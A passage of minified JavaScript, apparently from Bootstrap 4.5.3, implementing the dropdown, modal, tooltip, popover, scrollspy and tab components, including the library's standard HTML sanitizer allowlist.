n&&(e=document.querySelector(n)),e||t.parentNode},t._dataApiKeydownHandler=function(e){if(!(/input|textarea/i.test(e.target.tagName)?32===e.which||27!==e.which&&(40!==e.which&&38!==e.which||o.default(e.target).closest(".dropdown-menu").length):!I.test(e.which))&&!this.disabled&&!o.default(this).hasClass("disabled")){var n=t._getParentFromElement(this),i=o.default(n).hasClass("show");if(i||27!==e.which){if(e.preventDefault(),e.stopPropagation(),!i||27===e.which||32===e.which)return 27===e.which&&o.default(n.querySelector('[data-toggle="dropdown"]')).trigger("focus"),void o.default(this).trigger("click");var a=[].slice.call(n.querySelectorAll(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)")).filter((function(t){return o.default(t).is(":visible")}));if(0!==a.length){var s=a.indexOf(e.target);38===e.which&&s>0&&s--,40===e.which&&s<a.length-1&&s++,s<0&&(s=0),a[s].focus()}}}},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return j}},{key:"DefaultType",get:function(){return O}}]),t}();o.default(document).on("keydown.bs.dropdown.data-api",'[data-toggle="dropdown"]',x._dataApiKeydownHandler).on("keydown.bs.dropdown.data-api",".dropdown-menu",x._dataApiKeydownHandler).on("click.bs.dropdown.data-api keyup.bs.dropdown.data-api",x._clearMenus).on("click.bs.dropdown.data-api",'[data-toggle="dropdown"]',(function(t){t.preventDefault(),t.stopPropagation(),x._jQueryInterface.call(o.default(this),"toggle")})).on("click.bs.dropdown.data-api",".dropdown form",(function(t){t.stopPropagation()})),o.default.fn[k]=x._jQueryInterface,o.default.fn[k].Constructor=x,o.default.fn[k].noConflict=function(){return o.default.fn[k]=A,x._jQueryInterface};var P=o.default.fn.modal,R={backdrop:!0,keyboard:!0,focus:!0,show:!0},L={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},q=function(){function t(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=t.querySelector(".modal-dialog"),this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollbarWidth=0}var e=t.prototype;return e.toggle=function(t){return this._isShown?this.hide():this.show(t)},e.show=function(t){var e=this;if(!this._isShown&&!this._isTransitioning){o.default(this._element).hasClass("fade")&&(this._isTransitioning=!0);var n=o.default.Event("show.bs.modal",{relatedTarget:t});o.default(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),o.default(this._element).on("click.dismiss.bs.modal",'[data-dismiss="modal"]',(function(t){return e.hide(t)})),o.default(this._dialog).on("mousedown.dismiss.bs.modal",(function(){o.default(e._element).one("mouseup.dismiss.bs.modal",(function(t){o.default(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)}))})),this._showBackdrop((function(){return e._showElement(t)})))}},e.hide=function(t){var e=this;if(t&&t.preventDefault(),this._isShown&&!this._isTransitioning){var n=o.default.Event("hide.bs.modal");if(o.default(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var i=o.default(this._element).hasClass("fade");if(i&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),o.default(document).off("focusin.bs.modal"),o.default(this._element).removeClass("show"),o.default(this._element).off("click.dismiss.bs.modal"),o.default(this._dialog).off("mousedown.dismiss.bs.modal"),i){var a=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,(function(t){return e._hideModal(t)})).emulateTransitionEnd(a)}else this._hideModal()}}},e.dispose=function(){[window,this._element,this._dialog].forEach((function(t){return o.default(t).off(".bs.modal")})),o.default(document).off("focusin.bs.modal"),o.default.removeData(this._element,"bs.modal"),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._isTransitioning=null,this._scrollbarWidth=null},e.handleUpdate=function(){this._adjustDialog()},e._getConfig=function(t){return t=r({},R,t),d.typeCheckConfig("modal",t,L),t},e._triggerBackdropTransition=function(){var t=this;if("static"===this._config.backdrop){var e=o.default.Event("hidePrevented.bs.modal");if(o.default(this._element).trigger(e),e.isDefaultPrevented())return;var n=this._element.scrollHeight>document.documentElement.clientHeight;n||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");var i=d.getTransitionDurationFromElement(this._dialog);o.default(this._element).off(d.TRANSITION_END),o.default(this._element).one(d.TRANSITION_END,(function(){t._element.classList.remove("modal-static"),n||o.default(t._element).one(d.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,i)})).emulateTransitionEnd(i),this._element.focus()}else this.hide()},e._showElement=function(t){var e=this,n=o.default(this._element).hasClass("fade"),i=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),o.default(this._dialog).hasClass("modal-dialog-scrollable")&&i?i.scrollTop=0:this._element.scrollTop=0,n&&d.reflow(this._element),o.default(this._element).addClass("show"),this._config.focus&&this._enforceFocus();var a=o.default.Event("shown.bs.modal",{relatedTarget:t}),s=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,o.default(e._element).trigger(a)};if(n){var l=d.getTransitionDurationFromElement(this._dialog);o.default(this._dialog).one(d.TRANSITION_END,s).emulateTransitionEnd(l)}else s()},e._enforceFocus=function(){var t=this;o.default(document).off("focusin.bs.modal").on("focusin.bs.modal",(function(e){document!==e.target&&t._element!==e.target&&0===o.default(t._element).has(e.target).length&&t._element.focus()}))},e._setEscapeEvent=function(){var t=this;this._isShown?o.default(this._element).on("keydown.dismiss.bs.modal",(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||o.default(this._element).off("keydown.dismiss.bs.modal")},e._setResizeEvent=function(){var t=this;this._isShown?o.default(window).on("resize.bs.modal",(function(e){return t.handleUpdate(e)})):o.default(window).off("resize.bs.modal")},e._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){o.default(document.body).removeClass("modal-open"),t._resetAdjustments(),t._resetScrollbar(),o.default(t._element).trigger("hidden.bs.modal")}))},e._removeBackdrop=function(){this._backdrop&&(o.default(this._backdrop).remove(),this._backdrop=null)},e._showBackdrop=function(t){var e=this,n=o.default(this._element).hasClass("fade")?"fade":"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",n&&this._backdrop.classList.add(n),o.default(this._backdrop).appendTo(document.body),o.default(this._element).on("click.dismiss.bs.modal",(function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&e._triggerBackdropTransition()})),n&&d.reflow(this._backdrop),o.default(this._backdrop).addClass("show"),!t)return;if(!n)return void t();var i=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){o.default(this._backdrop).removeClass("show");var a=function(){e._removeBackdrop(),t&&t()};if(o.default(this._element).hasClass("fade")){var s=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a()}else t&&t()},e._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},e._setScrollbar=function(){var t=this;if(this._isBodyOverflowing){var e=[].slice.call(document.querySelectorAll(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top")),n=[].slice.call(document.querySelectorAll(".sticky-top"));o.default(e).each((function(e,n){var i=n.style.paddingRight,a=o.default(n).css("padding-right");o.default(n).data("padding-right",i).css("padding-right",parseFloat(a)+t._scrollbarWidth+"px")})),o.default(n).each((function(e,n){var i=n.style.marginRight,a=o.default(n).css("margin-right");o.default(n).data("margin-right",i).css("margin-right",parseFloat(a)-t._scrollbarWidth+"px")}));var i=document.body.style.paddingRight,a=o.default(document.body).css("padding-right");o.default(document.body).data("padding-right",i).css("padding-right",parseFloat(a)+this._scrollbarWidth+"px")}o.default(document.body).addClass("modal-open")},e._resetScrollbar=function(){var t=[].slice.call(document.querySelectorAll(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top"));o.default(t).each((function(t,e){var n=o.default(e).data("padding-right");o.default(e).removeData("padding-right"),e.style.paddingRight=n||""}));var e=[].slice.call(document.querySelectorAll(".sticky-top"));o.default(e).each((function(t,e){var n=o.default(e).data("margin-right");"undefined"!=typeof n&&o.default(e).css("margin-right",n).removeData("margin-right")}));var n=o.default(document.body).data("padding-right");o.default(document.body).removeData("padding-right"),document.body.style.paddingRight=n||""},e._getScrollbarWidth=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},t._jQueryInterface=function(e,n){return this.each((function(){var i=o.default(this).data("bs.modal"),a=r({},R,o.default(this).data(),"object"==typeof e&&e?e:{});if(i||(i=new t(this,a),o.default(this).data("bs.modal",i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e](n)}else a.show&&i.show(n)}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return R}}]),t}();o.default(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',(function(t){var e,n=this,i=d.getSelectorFromElement(this);i&&(e=document.querySelector(i));var a=o.default(e).data("bs.modal")?"toggle":r({},o.default(e).data(),o.default(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var s=o.default(e).one("show.bs.modal",(function(t){t.isDefaultPrevented()||s.one("hidden.bs.modal",(function(){o.default(n).is(":visible")&&n.focus()}))}));q._jQueryInterface.call(o.default(e),a,this)})),o.default.fn.modal=q._jQueryInterface,o.default.fn.modal.Constructor=q,o.default.fn.modal.noConflict=function(){return o.default.fn.modal=P,q._jQueryInterface};var F=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],Q={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},B=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/gi,H=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;function U(t,e,n){if(0===t.length)return t;if(n&&"function"==typeof n)return n(t);for(var i=(new window.DOMParser).parseFromString(t,"text/html"),o=Object.keys(e),a=[].slice.call(i.body.querySelectorAll("*")),s=function(t,n){var i=a[t],s=i.nodeName.toLowerCase();if(-1===o.indexOf(i.nodeName.toLowerCase()))return i.parentNode.removeChild(i),"continue";var l=[].slice.call(i.attributes),r=[].concat(e["*"]||[],e[s]||[]);l.forEach((function(t){(function(t,e){var n=t.nodeName.toLowerCase();if(-1!==e.indexOf(n))return-1===F.indexOf(n)||Boolean(t.nodeValue.match(B)||t.nodeValue.match(H));for(var i=e.filter((function(t){return t instanceof RegExp})),o=0,a=i.length;o<a;o++)if(n.match(i[o]))return!0;return!1})(t,r)||i.removeAttribute(t.nodeName)}))},l=0,r=a.length;l<r;l++)s(l);return i.body.innerHTML}var M="tooltip",W=o.default.fn[M],V=new RegExp("(^|\\s)bs-tooltip\\S+","g"),z=["sanitize","whiteList","sanitizeFn"],K={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string|function)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)",sanitize:"boolean",sanitizeFn:"(null|function)",whiteList:"object",popperConfig:"(null|object)"},X={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"},Y={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:Q,popperConfig:null},$={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},J=function(){function t(t,e){if("undefined"==typeof a.default)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var e=t.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=o.default(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(o.default(this.getTipElement()).hasClass("show"))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),o.default.removeData(this.element,this.constructor.DATA_KEY),o.default(this.element).off(this.constructor.EVENT_KEY),o.default(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&o.default(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var t=this;if("none"===o.default(this.element).css("display"))throw new Error("Please use show on visible elements");var e=o.default.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){o.default(this.element).trigger(e);var n=d.findShadowRoot(this.element),i=o.default.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!i)return;var s=this.getTipElement(),l=d.getUID(this.constructor.NAME);s.setAttribute("id",l),this.element.setAttribute("aria-describedby",l),this.setContent(),this.config.animation&&o.default(s).addClass("fade");var r="function"==typeof this.config.placement?this.config.placement.call(this,s,this.element):this.config.placement,u=this._getAttachment(r);this.addAttachmentClass(u);var f=this._getContainer();o.default(s).data(this.constructor.DATA_KEY,this),o.default.contains(this.element.ownerDocument.documentElement,this.tip)||o.default(s).appendTo(f),o.default(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new a.default(this.element,s,this._getPopperConfig(u)),o.default(s).addClass("show"),"ontouchstart"in document.documentElement&&o.default(document.body).children().on("mouseover",null,o.default.noop);var c=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,o.default(t.element).trigger(t.constructor.Event.SHOWN),"out"===e&&t._leave(null,t)};if(o.default(this.tip).hasClass("fade")){var h=d.getTransitionDurationFromElement(this.tip);o.default(this.tip).one(d.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},e.hide=function(t){var e=this,n=this.getTipElement(),i=o.default.Event(this.constructor.Event.HIDE),a=function(){"show"!==e._hoverState&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),o.default(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(o.default(this.element).trigger(i),!i.isDefaultPrevented()){if(o.default(n).removeClass("show"),"ontouchstart"in document.documentElement&&o.default(document.body).children().off("mouseover",null,o.default.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,o.default(this.tip).hasClass("fade")){var s=d.getTransitionDurationFromElement(n);o.default(n).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-tooltip-"+t)},e.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},e.setContent=function(){var t=this.getTipElement();this.setElementContent(o.default(t.querySelectorAll(".tooltip-inner")),this.getTitle()),o.default(t).removeClass("fade show")},e.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=U(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?o.default(e).parent().is(t)||t.empty().append(e):t.text(o.default(e).text())},e.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},e._getPopperConfig=function(t){var e=this;return r({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},e._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t.config.offset(e.offsets,t.element)||{}),e}:e.offset=this.config.offset,e},e._getContainer=function(){return!1===this.config.container?document.body:d.isElement(this.config.container)?o.default(this.config.container):o.default(document).find(this.config.container)},e._getAttachment=function(t){return X[t.toUpperCase()]},e._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("click"===e)o.default(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==e){var n="hover"===e?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,i="hover"===e?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;o.default(t.element).on(n,t.config.selector,(function(e){return t._enter(e)})).on(i,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},o.default(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=r({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),o.default(e.getTipElement()).hasClass("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e.config.delay&&e.config.delay.show?e._timeout=setTimeout((function(){"show"===e._hoverState&&e.show()}),e.config.delay.show):e.show())},e._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||o.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e.config.delay&&e.config.delay.hide?e._timeout=setTimeout((function(){"out"===e._hoverState&&e.hide()}),e.config.delay.hide):e.hide())},e._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},e._getConfig=function(t){var e=o.default(this.element).data();return Object.keys(e).forEach((function(t){-1!==z.indexOf(t)&&delete e[t]})),"number"==typeof(t=r({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),d.typeCheckConfig(M,t,this.constructor.DefaultType),t.sanitize&&(t.template=U(t.template,t.whiteList,t.sanitizeFn)),t},e._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},e._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(V);null!==e&&e.length&&t.removeClass(e.join(""))},e._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},e._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(o.default(t).removeClass("fade"),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.tooltip"),a="object"==typeof e&&e;if((i||!/dispose|hide/.test(e))&&(i||(i=new t(this,a),n.data("bs.tooltip",i)),"string"==typeof e)){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return Y}},{key:"NAME",get:function(){return M}},{key:"DATA_KEY",get:function(){return"bs.tooltip"}},{key:"Event",get:function(){return $}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return K}}]),t}();o.default.fn[M]=J._jQueryInterface,o.default.fn[M].Constructor=J,o.default.fn[M].noConflict=function(){return o.default.fn[M]=W,J._jQueryInterface};var G="popover",Z=o.default.fn[G],tt=new RegExp("(^|\\s)bs-popover\\S+","g"),et=r({},J.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),nt=r({},J.DefaultType,{content:"(string|element|function)"}),it={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},ot=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n;var a=i.prototype;return a.isWithContent=function(){return this.getTitle()||this._getContent()},a.addAttachmentClass=function(t){o.default(this.getTipElement()).addClass("bs-popover-"+t)},a.getTipElement=function(){return this.tip=this.tip||o.default(this.config.template)[0],this.tip},a.setContent=function(){var t=o.default(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(".popover-body"),e),t.removeClass("fade show")},a._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},a._cleanTipClass=function(){var t=o.default(this.getTipElement()),e=t.attr("class").match(tt);null!==e&&e.length>0&&t.removeClass(e.join(""))},i._jQueryInterface=function(t){return this.each((function(){var e=o.default(this).data("bs.popover"),n="object"==typeof t?t:null;if((e||!/dispose|hide/.test(t))&&(e||(e=new i(this,n),o.default(this).data("bs.popover",e)),"string"==typeof t)){if("undefined"==typeof e[t])throw new TypeError('No method named "'+t+'"');e[t]()}}))},l(i,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return et}},{key:"NAME",get:function(){return G}},{key:"DATA_KEY",get:function(){return"bs.popover"}},{key:"Event",get:function(){return it}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return nt}}]),i}(J);o.default.fn[G]=ot._jQueryInterface,o.default.fn[G].Constructor=ot,o.default.fn[G].noConflict=function(){return o.default.fn[G]=Z,ot._jQueryInterface};var at="scrollspy",st=o.default.fn[at],lt={offset:10,method:"auto",target:""},rt={offset:"number",method:"string",target:"(string|element)"},ut=function(){function t(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,o.default(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return n._process(t)})),this.refresh(),this._process()}var e=t.prototype;return e.refresh=function(){var t=this,e=this._scrollElement===this._scrollElement.window?"offset":"position",n="auto"===this._config.method?e:this._config.method,i="position"===n?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var e,a=d.getSelectorFromElement(t);if(a&&(e=document.querySelector(a)),e){var s=e.getBoundingClientRect();if(s.width||s.height)return[o.default(e)[n]().top+i,a]}return null})).filter((function(t){return t})).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},e.dispose=function(){o.default.removeData(this._element,"bs.scrollspy"),o.default(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},e._getConfig=function(t){if("string"!=typeof(t=r({},lt,"object"==typeof t&&t?t:{})).target&&d.isElement(t.target)){var e=o.default(t.target).attr("id");e||(e=d.getUID(at),o.default(t.target).attr("id",e)),t.target="#"+e}return d.typeCheckConfig(at,t,rt),t},e._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},e._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},e._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},e._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t<this._offsets[0]&&this._offsets[0]>0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t<this._offsets[o+1])&&this._activate(this._targets[o])}}},e._activate=function(t){this._activeTarget=t,this._clear();var e=this._selector.split(",").map((function(e){return e+'[data-target="'+t+'"],'+e+'[href="'+t+'"]'})),n=o.default([].slice.call(document.querySelectorAll(e.join(","))));n.hasClass("dropdown-item")?(n.closest(".dropdown").find(".dropdown-toggle").addClass("active"),n.addClass("active")):(n.addClass("active"),n.parents(".nav, .list-group").prev(".nav-link, .list-group-item").addClass("active"),n.parents(".nav, .list-group").prev(".nav-item").children(".nav-link").addClass("active")),o.default(this._scrollElement).trigger("activate.bs.scrollspy",{relatedTarget:t})},e._clear=function(){[].slice.call(document.querySelectorAll(this._selector)).filter((function(t){return t.classList.contains("active")})).forEach((function(t){return t.classList.remove("active")}))},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data("bs.scrollspy");if(n||(n=new t(this,"object"==typeof e&&e),o.default(this).data("bs.scrollspy",n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return lt}}]),t}();o.default(window).on("load.bs.scrollspy.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-spy="scroll"]')),e=t.length;e--;){var n=o.default(t[e]);ut._jQueryInterface.call(n,n.data())}})),o.default.fn[at]=ut._jQueryInterface,o.default.fn[at].Constructor=ut,o.default.fn[at].noConflict=function(){return o.default.fn[at]=st,ut._jQueryInterface};var dt=o.default.fn.tab,ft=function(){function t(t){this._element=t}var e=t.prototype;return e.show=function(){var t=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&o.default(this._element).hasClass("active")||o.default(this._element).hasClass("disabled"))){var e,n,i=o.default(this._element).closest(".nav, .list-group")[0],a=d.getSelectorFromElement(this._element);if(i){var s="UL"===i.nodeName||"OL"===i.nodeName?"> li > .active":".active";n=(n=o.default.makeArray(o.default(i).find(s)))[n.length-1]}var l=o.default.Event("hide.bs.tab",{relatedTarget:this._element}),r=o.default.Event("show.bs.tab",{relatedTarget:n});if(n&&o.default(n).trigger(l),o.default(this._element).trigger(r),!r.isDefaultPrevented()&&!l.isDefaultPrevented()){a&&(e=document.querySelector(a)),this._activate(this._element,i);var u=function(){var 